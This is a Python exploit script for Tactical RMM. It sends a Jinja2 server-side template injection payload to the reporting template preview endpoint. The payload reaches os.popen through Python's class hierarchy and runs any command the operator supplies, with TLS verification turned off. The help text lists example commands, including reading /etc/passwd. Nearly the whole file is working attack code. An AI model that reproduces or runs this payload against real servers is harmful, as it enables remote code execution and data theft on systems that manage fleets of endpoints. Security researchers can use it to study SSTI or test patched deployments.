#!/usr/bin/env python3 """ Tactical RMM SSTI Exploit Exploits Server-Side Template Injection vulnerability in Jinja2 templates """ import argparse import requests import sys import json from urllib.parse import urlparse def exploit_ssti(domain, token, command): """ Exploits SSTI vulnerability in template preview endpoint Args: domain: Tactical API (e.g., api.lizardsec.xyz) token: Your user authorization token command: Bash command """ # Build the URL if not domain.startswith('http'): url = f"https://{domain}/reporting/templates/preview/" else: parsed = urlparse(domain) url = f"{parsed.scheme}://{parsed.netloc}/reporting/templates/preview/" # Malicious template - SSTI template_md = ( "{% set globals = ''.__class__.__mro__[1].__subclasses__()[140].__init__.__globals__ %}\n" "{% set builtins = globals['__builtins__'] %}\n" "{% set import_func = builtins['__import__'] %}\n" "{% set os_module = import_func('os') %}\n" "{% set command_output = os_module.popen('" + command + "').read().strip() %}\n" "Command Output: {{ command_output }}" ) payload = { "template_md": template_md, "type": "markdown", "template_css": "", "template_html": None, "template_variables": {}, "dependencies": {}, "format": "html", "debug": False } # Request headers headers = { "Host": urlparse(url).netloc, "Authorization": f"Token {token}", "Content-Type": "application/json", "User-Agent": "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36", "Accept": "application/json", "Origin": f"https://{urlparse(url).netloc}", "Referer": f"https://{urlparse(url).netloc}/reporting/templates/3/export" } print(f"[*] Target: {url}") print(f"[*] Command: {command}") print(f"[*] Sending SSTI payload...\n") try: # Send the request response = requests.post( url, headers=headers, json=payload, timeout=30, verify=False # Ignore SSL verification ) print(f"[+] Status Code: {response.status_code}") print(f"[+] Response Length: {len(response.content)} bytes\n") if response.status_code == 200: print("[+] Exploit executed successfully\n") print("="*60) print("Output: ") print("="*60) # Try to parse as JSON try: json_response = response.json() print(json.dumps(json_response, indent=2)) except: # If not JSON, show plain text print(response.text) print("="*60) elif response.status_code == 401: print("[-] Error: Invalid authorization token") elif response.status_code == 403: print("[-] Error: Access denied") elif response.status_code == 404: print("[-] Error: Endpoint not found") else: print(f"[-] Error: Unexpected status code") print(f"[*] Response: {response.text[:500]}") except requests.exceptions.ConnectionError: print(f"[-] Error: Could not connect to host {domain}") except requests.exceptions.Timeout: print("[-] Error: Request timeout") except Exception as e: print(f"[-] Unexpected error: {str(e)}") def main(): parser = argparse.ArgumentParser( description='SSTI Exploit for Tactical RMM - Template Preview Endpoint', formatter_class=argparse.RawDescriptionHelpFormatter, epilog=""" Usage examples: python3 %(prog)s -d api.rmmdomain.xyz -t TOKEN123 -c "id" python3 %(prog)s -d https://api.example.com -t TOKEN123 -c "whoami" python3 %(prog)s -d api.example.com -t TOKEN123 -c "cat /etc/passwd" python3 %(prog)s -d api.example.com -t TOKEN123 -c "ls -la /tmp" Notes: - The token must be valid for API authentication - Commands are executed in the web server context - Use quotes for commands with spaces or special characters """ ) parser.add_argument( '-d', '--domain', required=True, help='Tactical API Domain (e.g., api.lizardsec.xyz)' ) parser.add_argument( '-t', '--token', required=True, help='Authorization token' ) parser.add_argument( '-c', '--command', required=True, help='Command to be executed on the server' ) # If no arguments, show help if len(sys.argv) == 1: parser.print_help() sys.exit(1) args = parser.parse_args() # Suppress SSL warnings import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) # Execute the exploit exploit_ssti(args.domain, args.token, args.command) if __name__ == "__main__": main()